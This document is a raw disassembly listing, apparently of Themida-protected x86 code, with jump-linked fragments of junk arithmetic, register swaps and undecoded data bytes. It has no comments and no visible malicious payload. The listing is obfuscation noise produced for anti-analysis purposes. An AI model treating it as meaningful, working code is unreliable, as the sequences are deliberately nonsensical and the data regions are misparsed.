jmp loc_5612DF
; ---------------------------------------------------------------------------
loc_55A0FD: ; CODE XREF: Themida_:005587E0j
add ebp, 4
jmp loc_55C207
; ---------------------------------------------------------------------------
dd 81DBF759h, 670413C3h, 87FB8713h, 0F7D987CFh, 87D987D3h
dd 81FB87CFh, 4BE520EBh, 8BD989F6h, 0C483241Ch, 5EF18104h
dd 0C13ACF52h, 0E9C106E1h, 4EC8103h, 89000000h, 3EB82404h
dd 0E90DDC18h, 0FFFFC9D9h, 4BB5358h, 1000000h, 0C0835BD8h
dd 24048704h, 0FF793CE9h, 4C481FFh, 0E9000000h, 4E8Bh
; ---------------------------------------------------------------------------
loc_55A16C: ; CODE XREF: Themida_:00565021j
add esp, 4
jmp loc_557122
; ---------------------------------------------------------------------------
dd 5020C5BDh, 1CF58132h, 0E97B5F64h, 0FFFF7FA1h
; ---------------------------------------------------------------------------
loc_55A184: ; CODE XREF: Themida_:0055566Dj
shr esi, 8
neg esi
push ebp
mov ebp, 1
add esi, ebp
pop ebp
xor esi, 64C06C5Bh
neg esi
add esi, 0DF9744AEh
sub ebx, esi
mov esi, [esp]
add esp, 4
and edx, ebx
jmp loc_565D17
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0B07E9435h, 8BC289EDh, 0E9562404h, 96B9h
; ---------------------------------------------------------------------------
loc_55A1C8: ; CODE XREF: Themida_:00555145j
push ecx
mov ecx, 41C41B4Fh
mov ebx, ecx
jmp loc_558018
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 68000000h, 5D40h, 8B240489h, 0C481241Ch, 4, 74F86858h
dd 14890000h, 94B85024h, 0C11F9B0Ch, 1BE908E0h
db 14h, 2 dup(0)
byte_55A203 db 0ACh ; DATA XREF: Themida_:00550774o
dd 0EC83D830h, 241C8904h, 0FFEF79E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A211: ; CODE XREF: Themida_:0055433Dj
mov [edx+38h], ebp
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55D13D
; ---------------------------------------------------------------------------
db 51h
dd 0CB88D188h, 5CE95A59h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A22B: ; CODE XREF: Themida_:005551F6j
xor esi, ebx
xor ebx, esi
xor esi, ebx
dec ebx
xchg ebx, esi
xor esi, 4AFF1360h
neg esi
and esi, 3BB15385h
jmp loc_562E63
; ---------------------------------------------------------------------------
loc_55A247: ; CODE XREF: Themida_:0055C93Ej
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edx
push 8000h
jmp loc_562D7A
; ---------------------------------------------------------------------------
loc_55A25A: ; CODE XREF: Themida_:0055E5A8j
not edx
add edx, 670BAED5h
add ebp, edx
mov edx, [esp]
add esp, 4
push edx
jmp loc_563260
; ---------------------------------------------------------------------------
loc_55A270: ; CODE XREF: Themida_:0055FA46j
pop edi
push ecx
mov ecx, 4FC1167Ah
sub ecx, 4FC11676h
add edi, ecx
pop ecx
push 52B0h
mov [esp], esi
push 4
pop esi
push ebx
mov ebx, 57939F5h
sub edi, ebx
mov ebx, [esp]
add esp, 4
add edi, 28F626A4h
jmp loc_55CD00
; ---------------------------------------------------------------------------
byte_55A2A7 db 8Fh ; DATA XREF: Themida_:00550758o
dd 6701E902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A2AE: ; CODE XREF: Themida_:00557798j
add esp, 4
push ebx
jmp loc_563983
; ---------------------------------------------------------------------------
dw 0FE00h
dd 0FFADEE80h, 835B2434h, 0F00004C4h, 8324148Bh, 0E6E904C4h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A2D3: ; CODE XREF: Themida_:0055E137j
mov esi, [esp]
add esp, 4
jmp loc_561CDA
; ---------------------------------------------------------------------------
aMsw_ db '╛Иw.',0 ; DATA XREF: Themida_:00550958o
db 0
; ---------------------------------------------------------------------------
loc_55A2E7: ; CODE XREF: Themida_:00556E2Ej
inc ebp
inc ebp
jmp loc_558785
; ---------------------------------------------------------------------------
dw 74FFh
dd 39E90424h
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A2F7: ; CODE XREF: Themida_:0056214Ej
add ebp, 65244978h
jmp loc_5519F3
; ---------------------------------------------------------------------------
dw 34FFh
dd 241C8B24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
mov edx, 7F344D75h
sub edx, 7B0E2724h
push eax
mov eax, 1
add edx, eax
pop eax
inc edx
xor edx, 4262657h
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
add ebx, 4
push esi
jmp loc_554F7E
; ---------------------------------------------------------------------------
db 68h
dd 33635918h, 83240C8Bh, 814904C4h, 0BA5FBBE1h, 4EC8340h
dd 0E9242C89h, 543Ch, 3F93C581h, 0E929B606h, 0C89E9h
db 0
; ---------------------------------------------------------------------------
loc_55A36D: ; CODE XREF: Themida_:00553B23j
push ecx
mov ecx, esp
jmp loc_555848
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0FF87E5E9h, 4EC83FFh, 54242C89h, 0FFB0F9E9h, 0BF575BFFh
dd 31546895h, 67C3C781h, 0F78133BFh, 6513D05Ch, 685FFB01h
dd 2BD0h, 0BA241489h, 4, 0FFD0D7E9h, 243C89FFh, 0AF0A7EBFh
dd 8BFB3128h, 0C483243Ch, 5BDF0104h, 8904EC83h, 2BA2414h
dd 50000000h, 0D60356B8h, 69D9E963h, 2C680000h, 89000049h
dd 0FE68241Ch, 0E900001Ch, 0FFFF667Ah, 8BDD8966h, 0C483241Ch
dd 68056604h, 0E829665Fh, 5F682D66h, 242C8B66h, 4EC8350h
dd 81242489h, 42404h, 61E90000h, 5D00001Dh, 0C77EE95Eh
dd 0CE01FFFFh, 8BF28959h, 0C4832434h, 7EAC104h, 0A1BF574Ah
dd 21486909h, 0C2815FFAh, 0FF97F784h, 148BD501h, 595EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A446: ; CODE XREF: Themida_:005530DFj
add ecx, 293F3CA1h
push ebp
mov ebp, 0D4B04CEh
xor ebp, 52C83AB0h
add ebp, 0F962856h
and ebp, 0B85FB4h
xor ebp, 31A724DFh
sub ecx, 41B56973h
jmp loc_55EDD3
; ---------------------------------------------------------------------------
byte_55A475 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005507F4o
dd 0E116E924h, 0C481FFFFh, 4, 0FF7A99E9h, 240431FFh, 8B240433h
dd 0F662424h, 9C2404B3h, 0FF6512E9h, 585450FFh, 405h, 4BB5300h
dd 0E9000000h, 228Dh
; ---------------------------------------------------------------------------
loc_55A4B0: ; CODE XREF: Themida_:0055988Aj
and ebx, 576150EBh
jmp loc_553E4A
; ---------------------------------------------------------------------------
db 89h
dd 4BF243Ch, 0E9000000h, 0FFFF733Bh, 0F72820B6h, 49EEE9h
db 0
; ---------------------------------------------------------------------------
loc_55A4D1: ; CODE XREF: Themida_:005594C9j
pop ecx
jmp loc_562070
; ---------------------------------------------------------------------------
loc_55A4D7: ; CODE XREF: Themida_:00558A85j
mov [esp], ebp
push esp
pop ebp
jmp loc_5516C2
; ---------------------------------------------------------------------------
db 58h, 68h, 0FCh
dd 89000047h, 4BE2434h, 81000000h, 6D2F91EFh, 81F7014Ah
dd 6D2F91C7h, 3C875E4Ah, 34FF5C24h, 3B3FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A50A: ; CODE XREF: Themida_:0055401Cj
shr ecx, 0Ah
jmp loc_55E393
; ---------------------------------------------------------------------------
word_55A512 dw 34FFh ; DATA XREF: Themida_:005507C0o
dd 13E95924h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A51B: ; CODE XREF: Themida_:00560464j
push ebx
mov ebx, 5E0311B4h
sub ebx, 73443AC8h
add ebx, 94AA2C2Bh
add esi, ebx
pop ebx
xor esi, 92E97267h
mov edx, esi
mov esi, [esp]
jmp loc_564B6D
; ---------------------------------------------------------------------------
dd 193605B9h, 734B6851h, 34890000h, 3601BE24h, 0F1295119h
dd 0E92434FFh, 1322h, 0E908E5C1h, 0FFFF7D7Dh
; ---------------------------------------------------------------------------
loc_55A564: ; CODE XREF: Themida_:00553896j
mov eax, 3B23515Dh
add dword ptr [esp+4], 6DBA2B26h
sub [esp+4], eax
jmp loc_550ECE
; ---------------------------------------------------------------------------
dw 0C483h
dd 8F58E904h, 8957FFFFh, 4BB53E7h, 1000000h, 3300E9DFh
dd 8ABA0000h, 0E9401A40h, 0FFFFD821h
; ---------------------------------------------------------------------------
loc_55A59C: ; CODE XREF: Themida_:0056374Aj
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], esi
jmp loc_55D614
; ---------------------------------------------------------------------------
dd 20C38143h, 0E92A8705h, 5026h
; ---------------------------------------------------------------------------
loc_55A5C0: ; CODE XREF: Themida_:005612E0j
shr edx, 4
sub edx, 28C90718h
add edx, 36BC4D49h
push edx
pop ebp
pop edx
sub [esp+8], ebp
mov ebp, [esp]
add esp, 4
jmp loc_55B426
; ---------------------------------------------------------------------------
dd 8CBCEA81h, 0D0896BA4h, 0D98E055Ah, 0C7012D72h, 59E94F58h
dd 8B00004Dh, 0C483241Ch, 8BC28804h, 0C4812404h, 4, 5AD000h
dd 0A86866D8h, 9881E901h, 1C870000h, 29B1E924h, 814D0000h
dd 7540FEC5h, 0CCA3E9EDh, 0C8BFFFFh, 0CA13E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A636: ; CODE XREF: Themida_:005638D6j
sub esp, 4
mov [esp], ecx
push 72320774h
jmp loc_55BCD1
; ---------------------------------------------------------------------------
loc_55A649: ; CODE XREF: Themida_:005575FEj
xchg edx, [esp]
pop esp
loc_55A64D: ; CODE XREF: Themida_:0055997Dj
push 3E82h
mov [esp], ebx
push ecx
push 29FFh
mov [esp], ebp
mov ebp, 667D04F5h
shl ebp, 4
jmp loc_55A79B
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 8528E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A676: ; CODE XREF: Themida_:005575B2j
mov ebp, eax
jmp loc_556E76
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4815Fh, 68000000h, 695h, 83243C89h, 0C8904ECh, 26586824h
dd 1C890000h, 3B3FBB24h, 0C38144B4h, 54CD32DAh, 5ADA68h
dd 242C8900h, 4A77F7BDh, 90C58127h, 1739A35h, 69B5E9EBh
db 2 dup(0)
word_55A6C2 dw 5650h ; DATA XREF: Themida_:005508ECo
dd 0C681E689h, 4, 4EE81h, 34870000h, 81FDE924h, 0EB890000h
dd 0D3015A5Dh, 0F24E9h, 0EC815B00h, 2, 0FF810EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A6F1: ; CODE XREF: Themida_:0055B18Fj
pop ebx
push edx
jmp loc_562668
; ---------------------------------------------------------------------------
dd 8324148Bh, 35E904C4h, 89FFFF9Bh, 5CE95EF5h, 55000001h
dd 342D49BDh, 5DEB0156h, 0EB81CB29h, 56342D49h, 664FE9h
dd 40500h, 4330000h, 24043124h, 5C240433h, 0E904C483h
dd 91EEh, 8BC2015Bh, 54552404h, 0FFD893E9h, 4875BFFh, 24248B24h
dd 0E92434FFh, 0FFFFA07Bh
; ---------------------------------------------------------------------------
loc_55A754: ; CODE XREF: Themida_:005559B9j
add esp, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
mov [esp], ebp
mov ebp, 7FD6009Ch
sub ebp, 7FD6009Ah
jmp loc_558572
; ---------------------------------------------------------------------------
db 0BAh, 1Fh, 3Eh
dd 0D2F7565Ch, 3EAC142h, 0F281DAF7h, 604D6F65h, 0CCA4F281h
dd 0D029B25Bh, 0DCE9525Ah
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A79B: ; CODE XREF: Themida_:0055A666j
xchg ebx, ebp
push 0
sub dword ptr [esp], 51F62C72h
sub [esp], ebx
jmp loc_556367
; ---------------------------------------------------------------------------
db 0B2h, 32h, 30h
dd 2434FFFAh, 81241C8Bh, 4C4h, 0E2895200h, 37F468h, 241C8900h
dd 1C1443BBh, 0D1CBE96Dh, 5552FFFFh, 3C00AFBDh, 2D4FBA45h
dd 0EA81A51Dh, 3E4533C9h, 79A3EA81h, 0EA292B49h, 79A3C281h
dd 0C2812B49h, 3E4533C9h, 0E9242C8Bh, 901Eh
; ---------------------------------------------------------------------------
loc_55A804: ; CODE XREF: Themida_:00563DBFj
add ebp, esi
pop esi
push 5115h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_55F41F
; ---------------------------------------------------------------------------
dd 0FF6186E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A829: ; CODE XREF: Themida_:00558BF6j
add ebp, edx
add ebp, 133110F3h
pop edx
jmp loc_554905
; ---------------------------------------------------------------------------
db 0BFh
dd 4, 875FFE01h, 575C2434h, 0E708A768h, 2434FF4Ch, 83243C8Bh
dd 21E904C4h, 680000AFh, 29E2A7Ch, 5124148Bh, 9BE9E189h
dd 1000038h, 242C8BEEh, 4C481h, 34330000h, 24343124h, 8B243433h
dd 0F662424h, 9C2404A3h, 0FF6126E9h, 241489FFh, 853418BAh
dd 0BB98E942h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A896: ; CODE XREF: Themida_:00564D67j
pop ebx
push edx
push eax
jmp loc_56149B
; ---------------------------------------------------------------------------
aWsqe db 'WИ÷E',0
align 4
dd 3C26A868h, 15E95D35h
db 63h, 2 dup(0)
byte_55A8AF db 66h ; DATA XREF: Themida_:00550848o
dd 8124048Bh, 4ECh, 24148900h, 385868h, 9FE3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A8C6: ; CODE XREF: Themida_:0055B4B8j
xor eax, esi
pop esi
add edx, eax
pop eax
add edx, 4
jmp loc_557FCD
; ---------------------------------------------------------------------------
loc_55A8D4: ; CODE XREF: Themida_:0056248Cj
sub ebx, 7C619523h
xor ebp, ebx
mov ebx, [esp]
jmp loc_551CFE
; ---------------------------------------------------------------------------
aUNMhk db 'U╫$N$Mh┼',8,0
dw 8900h
dd 9BE92414h, 5EFFFFD6h, 0FF924DE9h
db 0FFh
byte_55A8FD db 0ADh, 83h, 0ECh ; DATA XREF: Themida_:00550724o
dd 0B0D8E904h, 0C481FFFFh, 4, 811C77FFh, 5E142434h, 0C8B1424h
dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 630F68h
dd 24348900h, 8E25DDBEh, 0E955521Eh, 0FFFF64F0h
; ---------------------------------------------------------------------------
loc_55A940: ; CODE XREF: Themida_:0055FFE0j
pop eax
add eax, 4
push ecx
jmp loc_5647C1
; ---------------------------------------------------------------------------
loc_55A94C: ; CODE XREF: Themida_:005649CBj
mov edi, 46514F13h
jmp loc_554CC2
; ---------------------------------------------------------------------------
dw 487h
dd 24248B24h, 89241C89h, 18A868E3h, 4890000h, 4B824h, 0C3810000h
dd 756414D8h, 9F7E9h
db 0
; ---------------------------------------------------------------------------
loc_55A979: ; CODE XREF: Themida_:0055C4A3j
add ecx, 2
xchg ecx, [esp]
pop esp
jmp loc_5635AE
; ---------------------------------------------------------------------------
dd 4C781h, 0CCE90000h
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A993: ; CODE XREF: Themida_:00550DBDj
sub esp, 4
jmp loc_551484
; ---------------------------------------------------------------------------
loc_55A99E: ; CODE XREF: Themida_:0055DA6Ej
add esp, 4
and eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
shr eax, 0Ch
xor eax, ecx
jmp loc_559076
; ---------------------------------------------------------------------------
dd 4240483h, 0ACFDE9h, 464EBA00h, 0D0891577h, 8BC2015Ah
dd 0C4832404h, 8B2FE904h, 48F0000h, 24D35C24h, 5FD1E924h
db 2 dup(0FFh)
word_55A9DE dw 6368h ; DATA XREF: Themida_:00550884o
dd 81000014h, 4ECh, 33FD6800h, 24890000h, 44646824h, 4890000h
dd 4B824h, 44810000h, 7E0F0424h, 440129F0h, 6C810424h
dd 7E0F0424h, 48B29F0h, 0E1895124h, 4C181h, 4CE90000h
db 41h, 2 dup(0)
byte_55AA23 db 66h ; DATA XREF: Themida_:005507A4o
dd 53240C8Bh, 0C381E389h, 4, 0AA0BE9h, 0E9596600h, 0FFFFDCBEh
; ---------------------------------------------------------------------------
loc_55AA3C: ; CODE XREF: Themida_:00554BDAj
add edi, 7E75708Eh
jmp loc_554537
; ---------------------------------------------------------------------------
loc_55AA47: ; CODE XREF: Themida_:005582AEj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5591CC
; ---------------------------------------------------------------------------
loc_55AA55: ; CODE XREF: Themida_:00555829j
add ebp, 50974E5Eh
sub edi, 3C8533BCh
push ecx
mov ecx, 2266D93h
jmp loc_559D27
; ---------------------------------------------------------------------------
dd 14F4BA52h, 57E915AEh, 81FFFF97h, 4ECh, 24348900h, 49585BBEh
dd 0B136E955h
db 2 dup(0)
word_55AA8A dw 8B66h ; DATA XREF: Themida_:00550700o
dd 0F682404h, 0E900000Fh, 0D53h, 4105E9C1h, 0FFBD54E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AAA1: ; CODE XREF: Themida_:0055E6ECj
mov [esp], ecx
mov ecx, 14FDCE57h
xor edi, ecx
mov ecx, [esp]
add esp, 4
sub esi, edi
pop edi
xor eax, esi
mov esi, [esp]
add esp, 4
or eax, eax
jnz loc_5583F8
push ebx
push 6B746796h
mov ebx, [esp]
jmp loc_552E08
; ---------------------------------------------------------------------------
loc_55AAD2: ; CODE XREF: Themida_:0055C33Cj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_55868D
; ---------------------------------------------------------------------------
dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 241C895Ch, 0FF675EE9h
dd 81E589FFh, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 77E92404h
dd 68FFFFDEh, 38h, 0DDC2815Ah, 162FF13h, 0C5B850FAh, 57DD512h
dd 0E52A0118h, 6C30E9h
db 0
; ---------------------------------------------------------------------------
loc_55AB31: ; CODE XREF: Themida_:00564521j
mov esp, [esp]
jmp loc_565A6C
; ---------------------------------------------------------------------------
db 0C1h, 0E3h, 8
dd 8904EC83h, 0BF57240Ch, 2980126Eh, 215FF989h, 0EB8159CBh
dd 29F87C84h, 7491EB81h, 0C3812C58h, 521BFDA3h, 0E906EBC1h
dd 71E8h, 5C243C87h, 2474FF56h, 2434FF04h, 6418E95Eh, 0C4810000h
dd 4, 2B951h, 0CA010000h, 24148759h, 0FFB0BDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AB91: ; CODE XREF: Themida_:0055E4F9j
xor edx, 54B77C45h
or esi, edx
pop edx
xor esi, 1BFF7FE3h
jmp loc_5520D5
; ---------------------------------------------------------------------------
loc_55ABA5: ; CODE XREF: Themida_:00558206j
pop ebp
xchg esi, [esp]
mov esp, [esp]
push ebp
mov ebp, 469F6FF6h
or ebp, 6CB15D51h
add ebp, 583774F5h
dec ebp
not ebp
jmp loc_55DA61
; ---------------------------------------------------------------------------
dw 0BD55h
dd 4A7635EDh, 4DCBBD55h, 0EB29576Ch, 46FE9h, 8BFA8900h
dd 0C481243Ch, 4, 3E3CBB53h, 0B0E916FEh, 5700003Ah, 4BFh
dd 0CBC68100h, 12D352Fh, 0CBEE81FEh, 5F2D352Fh, 5C243487h
dd 2BF57h, 4E2D0000h, 5351372h, 12B71BEBh, 0EB2DF829h
dd 512B71Bh, 3513724Eh, 0AE80E9h, 4895C00h, 0BEDAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AC32: ; CODE XREF: Themida_:0056467Ej
sub esi, 0A808D323h
sub ebp, esi
pop esi
shr ebp, 4
sub ebp, 72D90320h
add ecx, ebp
mov ebp, [esp]
add esp, 4
add edx, 7F7D7081h
sub edx, 30235686h
add edx, ecx
add edx, 30235686h
sub esp, 4
mov [esp], edi
mov edi, 7F7D7081h
sub edx, edi
pop edi
mov ecx, [esp]
jmp loc_55FB3C
; ---------------------------------------------------------------------------
loc_55AC79: ; CODE XREF: Themida_:00562425j
and eax, edi
pop edi
or eax, eax
jz loc_55DA77
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_559ABE
; ---------------------------------------------------------------------------
dw 0E1C1h
dd 8DF18105h, 8138A108h, 0A4CA09F1h, 0E9CA0101h, 0FFFF8F85h
dd 78D86858h, 2C890000h, 81E58924h, 4C5h, 4C58300h, 0E9242C87h
dd 39EAh, 0C381C301h, 574D4509h, 0FFEB7FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ACD1: ; CODE XREF: Themida_:0055D660j
push ebx
jmp loc_555400
; ---------------------------------------------------------------------------
db 81h
dd 730B76E9h, 24348B27h, 4C481h, 0B8500000h, 4, 8758C101h
dd 248B240Ch, 2434FF24h, 0FFB39BE9h, 7B9B68FFh, 0F1E90000h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AD07: ; CODE XREF: Themida_:0055DE6Dj
push eax
push 77BC4026h
jmp loc_554F99
; ---------------------------------------------------------------------------
dw 4BDh
dd 1000000h, 242C8BEFh, 8304C483h, 3C8704C7h, 24248B24h
dd 7559E950h, 0BB53FFFFh, 0
dd 3CE9D301h, 57FFFF67h, 2BFh, 5FF92900h, 8B240C87h, 89662424h
dd 0C168240Ch, 89000077h, 1EE9241Ch
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AD5B: ; CODE XREF: Themida_:00561394j
shr bx, 3
push ecx
push eax
mov ax, 7DE7h
mov cx, ax
pop eax
shl cx, 2
neg cx
xor cx, 0FBAh
xor bx, cx
pop ecx
add bx, 6D17h
sub bx, 5BB8h
or ax, bx
pop ebx
jmp loc_553D3F
; ---------------------------------------------------------------------------
loc_55AD8C: ; CODE XREF: Themida_:0056393Ej
pop esp
add esp, 4
shl ah, 4
add ah, 4Dh
sub bl, 7Ah
add bl, ah
add bl, 7Ah
jmp loc_559131
; ---------------------------------------------------------------------------
db 20h
dd 0E99C2404h, 1588h
; ---------------------------------------------------------------------------
loc_55ADAC: ; CODE XREF: Themida_:00563296j
mov ecx, 33C034BEh
and eax, ecx
pop ecx
sub eax, 0FFFFFFFFh
shl eax, 7
jmp loc_5630A6
; ---------------------------------------------------------------------------
db 89h
dd 73BF243Ch, 8376CB42h, 0C8904ECh, 89F98924h, 240C8BCEh
dd 5F04C483h, 396FE9h, 24040900h, 5BC9E99Ch, 2C87FFFFh
dd 0C0E95C24h, 29FFFF5Bh, 9FEE81C6h, 8B124347h, 4CE92404h
dd 0BDFFFF9Bh, 598C4C4Dh, 0B951D5F7h, 31906B52h, 0C181D1F7h
dd 502A309Ah, 1B98F181h, 0E9C17E43h, 49C98104h, 0E95C1A0Bh
dd 0FFFF8B12h, 68E78957h, 8BFh, 68240C89h, 5AAC6096h, 5745E959h
dd 55520000h, 72BDBD66h, 0BE665666h, 8966AC48h, 348B66F2h
dd 0B870E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AE56: ; CODE XREF: Themida_:00559DA1j
sub esp, 4
mov [esp], ecx
jmp loc_551FF3
; ---------------------------------------------------------------------------
dd 748FBD55h, 54E913B7h
db 84h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AE6F: ; CODE XREF: Themida_:00555884j
pop ebp
sub edx, 53C17E06h
add edx, edi
push ebp
mov ebp, 53C17E06h
add edx, ebp
pop ebp
pop edi
xor edx, 8C664894h
mov ecx, 0AEFBFC16h
add ecx, edx
pop edx
and eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 1DDDh
jmp loc_553452
; ---------------------------------------------------------------------------
db 25h, 0BCh, 1Fh
dd 0E0D1328Dh, 0BF574840h, 7D8C5A4Fh, 1189E9h, 24048900h
dd 4B8h, 58C70100h, 0E9243C87h, 15B2h, 2B9h, 59CA0100h
dd 8B241487h, 0B1512424h, 6224E928h, 48F0000h, 24248B24h
dd 4AB0F66h, 0BCE99C24h, 0E9FFFF5Ah, 0FFFF5AB7h
; ---------------------------------------------------------------------------
loc_55AEF8: ; CODE XREF: Themida_:005522BDj
pop ebx
or eax, eax
jz loc_56141D
sub esp, 4
mov [esp], edx
jmp loc_56347D
; ---------------------------------------------------------------------------
dd 736FB951h, 0C801453Fh, 58C72959h, 0C781D729h, 46071F75h
dd 74FF575Ah, 0E95F0424h, 2FA6h, 1242ACBFh, 0A8EF8114h
dd 1141242h, 34875FFEh, 0BA74E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AF42: ; CODE XREF: Themida_:00553EC0j
and eax, ebp
push dword ptr [esp]
pop ebp
push esi
jmp loc_550C62
; ---------------------------------------------------------------------------
dw 8358h
dd 1C8904ECh, 49866824h, 2C890000h, 34CDBD24h, 0D1BB2536h
dd 0E9253634h, 0FFFF95DDh
; ---------------------------------------------------------------------------
loc_55AF6C: ; CODE XREF: Themida_:0055C1CCj
mov edx, 277B2BEBh
mov eax, 87FBAB6Fh
xor eax, edx
pop edx
add esi, eax
mov eax, [esp]
jmp loc_55E3E4
; ---------------------------------------------------------------------------
db 5Fh
dd 31240C33h, 0C33240Ch, 0CFE5C24h, 18E99C24h
db 5Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AF97: ; CODE XREF: Themida_:005549FFj
xor edi, 0E737F5A0h
mov ecx, edi
pop edi
and ecx, 75F177EAh
and ecx, 20234F30h
jmp loc_55B8B1
; ---------------------------------------------------------------------------
db 31h, 0D3h, 0E9h
dd 0FFFFCACEh, 8304C483h, 514301EBh, 0F07ACCB9h, 1B62E92Dh
dd 68660000h, 3E938E8h, 59FFFFA6h, 0FFE869E9h, 0B9515EFFh
dd 4, 0C8BCD01h, 0B8BCE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AFEA: ; CODE XREF: Themida_:00563B25j
push edx
jmp loc_556AA3
; ---------------------------------------------------------------------------
dd 899DE952h, 15DFFFFh, 0C2E959C8h, 54FFFF74h, 6BD7E95Fh
dd 0F1800000h, 830AE9BBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B00E: ; CODE XREF: Themida_:0055BCCCj
push edx
jmp loc_5509E5
; ---------------------------------------------------------------------------
dd 90F7905h, 6A13E937h
db 2 dup(0FFh)
word_55B01E dw 32FFh ; DATA XREF: Themida_:0055093Co
dd 0FF598AE9h, 0C8966FFh, 0FDB35324h, 0C05BD988h, 0F18007E9h
dd 8E9C09Fh, 3B92E9h
db 0
; ---------------------------------------------------------------------------
loc_55B03D: ; CODE XREF: Themida_:0055831Bj
add edi, 4
jmp loc_561755
; ---------------------------------------------------------------------------
dd 0E5ABE95Dh, 0FD89FFFFh, 5B0B2D5Fh, 87E9122Ah, 81FFFF74h
dd 4C3h, 241C8700h, 0FE78E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B06A: ; CODE XREF: Themida_:00559B0Aj
push 4FD32ACCh
jmp loc_557011
; ---------------------------------------------------------------------------
dd 4EC81h, 24890000h, 24048124h, 4, 6CD1E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B08A: ; CODE XREF: Themida_:00555774j
push dword ptr [esp]
pop eax
push ebx
jmp loc_55400D
; ---------------------------------------------------------------------------
dd 8108EBC1h, 0A51AD4E3h, 19C3810Bh, 290BDF06h, 0FE015BDEh
dd 85DC681h, 3C8B0C00h, 965DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B0B6: ; CODE XREF: Themida_:0055775Ej
pop edx
jmp loc_554A3A
; ---------------------------------------------------------------------------
loc_55B0BC: ; CODE XREF: Themida_:005537D0j
xor dh, cl
pop ecx
add al, 2
add al, 0DDh
sub al, dh
sub al, 0DDh
push cx
mov ch, 2
jmp loc_55668E
; ---------------------------------------------------------------------------
loc_55B0D0: ; CODE XREF: Themida_:0056101Bj
pop ecx
push ebx
mov ebx, 1AA66D60h
jmp loc_5522D3
; ---------------------------------------------------------------------------
loc_55B0DC: ; CODE XREF: Themida_:00565D26j
mov [esp], ebp
jmp loc_55C724
; ---------------------------------------------------------------------------
loc_55B0E4: ; CODE XREF: Themida_:00553C28j
mov edx, 4F11835h
xor edx, ebp
pop ebp
jmp loc_5583A5
; ---------------------------------------------------------------------------
loc_55B0F1: ; CODE XREF: Themida_:005548D5j
mov ebp, [esp]
add esp, 4
push edi
jmp loc_5547A9
; ---------------------------------------------------------------------------
db 87h, 3Ch, 24h
dd 0FE24248Bh, 0E99C2404h, 0FFFFA371h, 0C1FBE56h, 0F029102Ah
dd 52E8295Eh, 2A0C1FBAh, 5AD00110h, 6C2DE95Dh, 34FFFFFFh
dd 241C8B24h, 8304C483h, 0B85004C4h, 4A4239A1h, 7A3DDB05h
dd 243DE9EFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B142: ; CODE XREF: Themida_:00562D85j
mov edx, [esp]
add esp, 4
push 5758h
jmp loc_552162
; ---------------------------------------------------------------------------
loc_55B155: ; CODE XREF: Themida_:00553455j
mov edi, esp
jmp loc_551714
; ---------------------------------------------------------------------------
dd 8124248Bh, 4ECh, 242C8900h, 0C5815D54h, 4, 81E68956h
dd 4C6h, 4EE8300h, 0FF6844E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B181: ; CODE XREF: Themida_:005588ADj
pop esp
mov [esp], ebx
mov ebx, 40h
and ecx, ebx
push dword ptr [esp]
jmp loc_55A6F1
; ---------------------------------------------------------------------------
